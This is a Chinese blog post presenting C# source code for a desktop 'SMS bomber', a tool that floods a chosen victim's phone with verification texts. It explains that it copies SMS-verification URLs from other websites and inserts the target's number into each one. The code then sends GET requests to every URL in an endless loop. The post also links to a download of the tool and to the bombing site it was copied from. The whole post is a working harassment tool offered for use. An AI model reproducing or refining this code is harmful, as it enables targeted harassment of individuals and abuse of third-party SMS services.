短信轰炸PC版 您所在的位置:网站首页 信息轰炸网站在线使用 短信轰炸PC版

短信轰炸PC版

2024-06-23 04:41| 来源: 网络整理| 查看: 265

前言

  之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...

  昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。

  效果图:

  

正文

  短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)

  原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)   问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。   直接贴代码:    private delegate void DelegateFun(object obj); private Thread thread = null; /// /// 发送 /// /// /// private void btnSend_Click(object sender, EventArgs e) { if (thread != null) { thread.Abort(); } txtResult.Text = ""; if (!CheckData()) { return; } thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush)); thread.IsBackground = true; thread.Start(txtPhoneID.Text.Trim()); } /// /// 停止 /// /// /// private void btnStop_Click(object sender, EventArgs e) { if (thread != null) { thread.Abort(); } } /// /// 退出 /// /// /// private void btnExit_Click(object sender, EventArgs e) { Application.Exit(); } /// /// 线程 /// /// private void CrossThreadFlush(object phoneID) { while (true) { //将sleep和无限循环放在等待异步的外面 Thread.Sleep(100); ThreadFunction(phoneID); } } /// /// 线程 /// /// private void ThreadFunction(object phoneID) { SendRequest(phoneID); } private void DelegateSetValue(object resultIndex) { if (resultIndex == null || resultIndex.ToString() == "") { return; } string[] resArray = resultIndex.ToString().Split(','); StringBuilder sbResult = new StringBuilder(""); sbResult.AppendFormat("成功 {0} 次\r\n", resArray[0]); sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[1]); sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[2]); int total = Convert.ToInt32(resArray[0]) + Convert.ToInt32(resArray[1]) + Convert.ToInt32(resArray[2]); sbResult.AppendFormat("共轰击 {0} 次\r\n", total); this.txtResult.Text = sbResult.ToString(); } private void SendRequest(object phoneID) { string url = GetUrl(); int successIndex = 0;//成功条数 int nullIndex = 0;//不确定条数 int failIndex = 0;//失败条数 string[] arrStr = url.Split('@'); foreach (var item in arrStr) { if (string.IsNullOrEmpty(item)) { continue; } try { string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString()); string result = PostDataToUrl("", urlLast); if (!string.IsNullOrEmpty(result)) { if (txtResult.InvokeRequired) { successIndex++; DelegateFun d = new DelegateFun(DelegateSetValue); txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex); } } else { if (txtResult.InvokeRequired) { nullIndex++; DelegateFun d = new DelegateFun(DelegateSetValue); txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex); } } } catch (Exception) { if (txtResult.InvokeRequired) { failIndex++; DelegateFun d = new DelegateFun(DelegateSetValue); txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex); } continue; } } } /// /// 发送get请求 /// /// /// /// private string PostDataToUrl(string postDataStr, string Url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr); request.Method = "GET"; request.ContentType = "text/html;"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream myResponseStream = response.GetResponseStream(); StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); myResponseStream.Close(); return retString; } /// /// 数据校验 /// /// private bool CheckData() { if (string.IsNullOrEmpty(txtPhoneID.Text.Trim())) { txtPhoneID.Focus(); errorProPhone.SetError(txtPhoneID, "输入手机号"); return false; } else { errorProPhone.Clear(); } return true; } /// /// 获取短信接口 /// /// private string GetUrl() { string url = @"短信接口地址(附件中链接贴过来)"; return url; }

  应用下载:轰死人补偿命

  附 原地址:http://www.zhasini.ml/

作者:apegu 地址:http://www.cnblogs.com/jiangqw 如果,您认为阅读这篇博客让您有些收获,不妨点击一下推荐按钮。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有